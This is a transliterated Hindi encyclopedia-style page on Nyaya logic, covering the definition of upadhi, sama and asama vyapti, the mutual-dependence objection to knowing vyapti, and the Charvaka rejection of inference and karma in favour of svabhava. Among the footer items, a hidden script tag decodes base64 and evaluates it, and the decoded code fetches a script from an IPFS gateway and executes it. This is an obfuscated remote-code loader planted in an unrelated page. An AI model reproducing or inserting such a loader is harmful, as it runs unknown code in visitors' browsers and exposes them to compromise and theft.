upadhi kise kahate haian? is prashn ka samadhan upadhi ke lakshan se kiya jata hai. jo dharm sadhy ka vyapak ho tatha sadhan ka avyapak ho use upadhi kahate haian. udaharanarth jab ham parvat par dhuean ko agni se siddh kar rahe hote haian tab yahaan agni hetu upadhi se yukt hone ke karan vyapyatvasiddh ya vyabhichari hota hai. vyapyatv ka matalab vyapti hi hota hai. jis hetu mean vyapti asiddh ho use hi vyabhichari bhi tarkikoan ki apt parampara mean svikar kiya jata hai. uparyukt prasiddh vyabhichari hetu vale sthal mean ardr arthath gile eeandhan ke sanyog ko upadhi manate haian. yah ardr eeandhan ka sanyog jo vahni mean hai vahi vastav mean dhuean ka karan hota hai, yah har vyakti ka anubhav hai. is prakar yah siddh hota hai ki parvat mean jo dhuaan hai vah ag ke karan nahian apitu gili lak di evan ag se sambandh ke hi karan haian, is tarah yah siddh hota hai ki jahaan-jahaan dhuaan roop sadhy hota hai vahaan-vahaan gili lak di ka sanyog hota hai, at: gili lak di ka sanyog, sadhy ka vyapak hai. isi prakar jahaan-jahaan ag roop hetu hota hai vahaan-vahaan gili lak di ka sanyog nahian hota hai, at: gili lak di ka sanyog sadhan ka vyapak nahian hai arthath avyapak hai yah siddh ho jata hai. antat: prastut sandarbh mean ardr eeandhan sanyog ke sadhy ka vyapak evan sadhan ke avyapak hone ke karan gili lak di ke sanyog ko upadhi ki sanjna se vibhooshit kiya jata hai. is upadhi se yukt hone ke karan vahni roop hetu sopadhik hota hai. yahi karan hai ki vahni vyabhichari ya vyapyatvasiddh mana jata hai.

• koee hetu upadhi ke hone matr se vyabhichari evan upadhi ke n hone se avyabhichari ya saddhetu kaise aur kyoan ho jata hai yah prashn sahaj roop mean samupasthit hota hai. yadyapi is prashn ke oopar vistar se kee tarkik granthoan mean vichar hai par vistar bhay se yahaan sankshep mean hi vichar karate haian. jab prastut prasang mean upadhi-ardr eeandhan ka sanyog, sadhy-dhoom ka vyapak hai tatha sadhy ka vyapak yah ardr eeandhan ka sanyog prakrit hetu-vahni ka vyapak nahian hai, yah siddh ho jata hai tab yah svat: siddh hone mean koee kathinaee nahian hoti ki prakrit sadhy-dhoom bhi prakrit hetu vahni ka vyapak nahian hai. phalat: hetu mean vyabhicharitattv ya svabhavavadvrittitv sambandh se vidyaman yah upadhi anayas hi sadhy ke vyabhichar ka anuman kara deta hai. itani charcha se yah spasht ho jata hai ki kisi bhi hetu mean vyapti tabhi ho sakati hai jab us hetu mean upadhi n ho. sadhy hetu ke madhy sambandh vyapti hi hai. ek adhikaran hetu mean yadi vyapti hai evan upadhi nahian hai to upadhi vidhur vyapti (sambandh) ho jati hai.
• sadhy ka jo samavyapt hoga vah bhi sadhy ka vyapak hoga hi. isi lie sadhy ka jo samavyapt ho tatha sadhan ka avyapak ho use bhi upadhi kah sakate haian. ek prakar se upadhi ke lakshan mean tin visheshan haian.

1. pahala visheshan hai 'sadhyavyapakatv'.
2. doosara visheshan hai 'sadhanavyapakatv' tatha
3. tisara visheshan hai 'sadhyasamavyaptatv'. upadhi ke lakshan mean in tinoan visheshanoan ki upadeyata hai.

upadhi ke lakshan se yadi pratham visheshan ko hata diya jay to sadhanavyapakatv upadhi ka lakshan hoga. shabd:, anity: karyatvath is sthal mean ghatatv upadhi nahian hai. parantu isamean bhi sadhan karyatv ka avyapakatv hone ke karan upadhi ka lakshan samanvit hone se ativyapti dosh ho jata hai. is dosh ka nivaran karane ke lie sadhyavyapakatv upadhi ke lakshan mean visheshan dena hoga. ghatatv sadhan ka avyapak hone par bhi sadhy-anityatv ka vyapak nahian hai at: ativyapti ka saralata se niras ho jata hai.

• upadhi ke lakshan se yadi dvitiy visheshan ko hata dean to upadhi ka lakshan sadhyavyapakatv hoga. yah upadhi ka lakshan karyatv hetu mean ativyapt hone lagega kyoanki anityatv ka vyapak karyatv bhi hota hai. yadi sadhanavyapakatv visheshan upadhi ke lakshan mean de dean to karyatv anityatv ke vyapak hone par bhi karyatv ka avyapak nahian hai. phalat: ativyapti ka nirakaran ho jata hai.
• sadhy ki samavyapti upadhi mean apekshit hai, aisa agar nahian kaheange to uparyukt sthal mean ashravanatv mean upadhi ke lakshan ki ativyapti hone lagegi. jahaan jahaan anityatv hai vahaan vahaan ashravanatv hone ke karan pratham visheshan sadhyavyapakatv sanghatit ho jata hai. sadhan karyatv jahaan jahaan hai, vahaan vahaan aur jagah ashravanatv ke rahane par bhi shabd mean ashravanatv ke n hone se ashravanatv mean sadhanavyapakatv bhi hai hi. phalat: upadhi lakshan ki ativyapti aparihary ho jati hai. is ativyapti ka varan sadhyasamavyaptattv ka lakshan mean nivesh kar dene se ho jata hai. ashravanatv jahaan jahaan hai vahaan vahaan atma adi mean anityatv ke n rahane se ashravanatv ka vyapakatv sadhy-anityatv mean nahian hota hai. parinamasvaroop sadhy ki samavyaptata ashravanatv mean n hone se ativyapti savidhi nirast ho jati hai.

sam evan asam vyapti

• vyapti ka sam evan asam bhed se do bhed acharyoan ko abhimat haian.
• jahaan sadhy evan hetu ek doosare ke paraspar vyapt evan vyapak hotean haian unamean sam-vyapti hai, yah vyavahar hota hai. jaise shabd ko anity siddh karane ke lie karyatv ya sakarttrikatv hetu mean anityatvasadhy ki sam-vyapti hoti hai. ardrendhan sanyog evan dhoom ke bich bhi samavyapti mani jati hai.
• yah dekha jata hai ki jahaan jahaan sadhy-anityatv rahata hai vahaan-vahaan hetu- karyatv rahata hai. phalat: sadhy ki vyapakata hetu mean siddh hoti hai. isi prakar jahaan-jahaan hetu- karyatv hota hai vahaan-vahaan sadhy-anityatv bhi hota hai. phalasvaroop hetu ki vyapakata bhi sadhy mean prasiddh ho jati hai. parvat: dhoomavanh vahne:, is asaddhetu vale sthal mean hetu- vahni evan sadhy-dhoom ke madhy samavyapti nahian hai. is prakar in donoan ke bich asam-vyapti hai yah pramanikoan ka vyavahar hota hai. yahaan dhoom evan ardrendhan sanyog ke bich samavyapti hoti hai. par ardrendhan sanyog evan ag ke bich asam vyapti hi siddh hoti hai.
• jab sam evan asam vyapti ek jagah par ho, jaise- parvat: dhoomavanh vahne:, is asaddhetu vale sthal mean ardrendhan sanyog mean sadhy-dhoom ki sam vyapti hai evan isi ardrendhan sanyog mean hetu-vahni ki asam vyapti hai, aisi sthiti mean sadhy-dhoom ke sam vyapt ardrendhan sanyog se yadi hetu ya sadhan-vahni vyapt nahian hota hai arthath vahni ki vyapti yadi sam-ardrendhan sanyog mean nahian ho pati to hetu ko vyaptihin mana jata hai. is prakar aisa hetu anumiti mean prayojak bhi nahian mana jata.

vyapti jnan mean anyonyashray dosh

abhav ki buddhi ke lie abhav ke pratiyogi ka jnan atyant avashyak hota hai, aisa sarvamany shastriy siddhant hai. is siddhant ke anusar prastut sandarbh mean vyapti-roop sambandh mean upadhi ke abhav ka jnan karane ke lie upadhi ka pahale bodh atyavashyak ho jata hai. is upadhi ko janane ke lie vyapti ka jnan hona anivary hai kyoanki upadhi ka lakshan vyapti se samanvit hai. is avashyakata ko dhyan mean rakh kar jab ham vyapti ke jnan ke lie pravritt hote haian, tab vyapti ke lakshan mean upadhi ka samavesh milata hai. phalat: vyapti ke vijnan ke lie upadhi ka avabodh anivary ho jata hai. is tarah paraspar vyapti evan upadhi ko janane ke lie paraspar ek doosare ke jnan ke apekshit hone se anyonyashray dosh roopi vajralep ho jata hai. antat: yahi nishkarsh nikalata hai ki avinabhav ya vyapti ka jnan oopar charchit riti se kathamapi sambhav nahian haian is prakar vyapti ke durbodh ho jane se anuman ka pratyaksh se alag praman manane ki kalpana divasvapn ki bhaanti kori kapol kalpana matr banakar rah jati hai. nishkarsh roop mean phir 'naapratyanksh pramanamh' arthath pratyaksh ke atirikt koee any praman ki manyata asambhav hai, yah charvak ka lokayat mat hi siddh hota hai. charvak ka abhisht bhi yahi hai.

anuman ko n manane par vyavahar ki anupapatti ka varan

charvak yadi anuman praman nahian manega to dhoom ko dekh kar ag ko janane ki pravritti ka apalap hone lagega. is apatti ka nirakaran karate hue charvak ka kahana hai ki yah pravritti ya to pratyaksh-moolika hai ya to bhramavash hoti hai. pravritti hone ke bad saphalata evan asaphalata to mani mantr evan aushadhi ki tarah kabhi hoti hai evan kabhi nahian hoti hai. lok mean yah dekha jata hai ki kary vishesh ko sampann karane ke lie ham mani mantr evan aushadhiyoan ka jivan mean prayog to avashy karate haian par kary kabhi sampann hota hai to kabhi nahian. thik usi prakar dhoom ko dekh kar vahni ke bodh mean pravritt purush ko parvat ke oopar vahni ke mil jane par saphalata bhi kabhi prapt hoti hai aur kabhi nahian hoti hai. mani ke sparsh se, mantr ke prayog se evan aushadhi vishesh ke upayog se hamean pratit hota hai ki hamara abhilashit kary poorn ho raha hai. parantu kary to svabhavat: sampoorn hota hai. yadi kary vishesh ko sampann karane ke lie vishesh karan ke roop mean mani, mantr evan aushadhiyaan sunishchit hotian to niyam se mani ke sparsh ke bad, mantroan ka viniyog karane ke anantar evan aushadhiyoan ke upayog karane ke bad nirdisht phal aishvary adi ka labh evan rog adi ka niras hota hi par aisa lok samany mean anubhav nahian hai. phalat: jis prakar aishvary evan rog adi ko door karane ki karanata mani, mantr evan aushadhiyoan mean nahian hai. usi prakar dhoom evan vahni mean bhi koee karyakaran bhav nahian hai.

svabhav-vad

• aishvary evan rog adi ki kadachitk arthath sanyog vash kabhi prapti to bhi kabhi nivriti ko dekh kar inaki karanata ka nirdharan mani, mantr evan aushadhi adi mean karana yuktisangat nahian hai. isi lie kisi purush mean aishvary ka darshanakar isake karan ke roop mean adrisht ya pap puny ki kalpana karana bhi anyay hi hai. adrisht ko jagath ka karan n manane par is sansar ki vichitrata kaise upapann ki ja sakati hai? yah prashn hota hai. isaka samadhan karate hue charvak ka b da hi sahaj kathan hai ki yah sansar svabhav se hi utpann ho jata hai. ag garam hai, jal shital hai evan vayu n thanda hai n garam arthath anushnashit hai, kaise? yah sab kisi ne banaya nahian haian. yah sab svabhav se hi hota hai.
• apane karttavy mean kasht utha kar bhi jo udyat hota hai vah vilakshan sukh ka evan santosh ka anubhav karata hai. yah sukh varnananit hai. jo manav ke kartavy koti mean nahian ata hai usaka atyant pida sah kar bhi parityag ek tarah se anand evan sukh ka hi karan hai. is prakar ki vyarth batean vastav mean nissar hi haian. vastusthiti to yahi hai ki sansar mean kam se b da purusharth kuchh aur nahian hai. varnashram se sambaddh kriyaean bhi vastutah abhisht phal dene vali nahian haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

shrutiyaan

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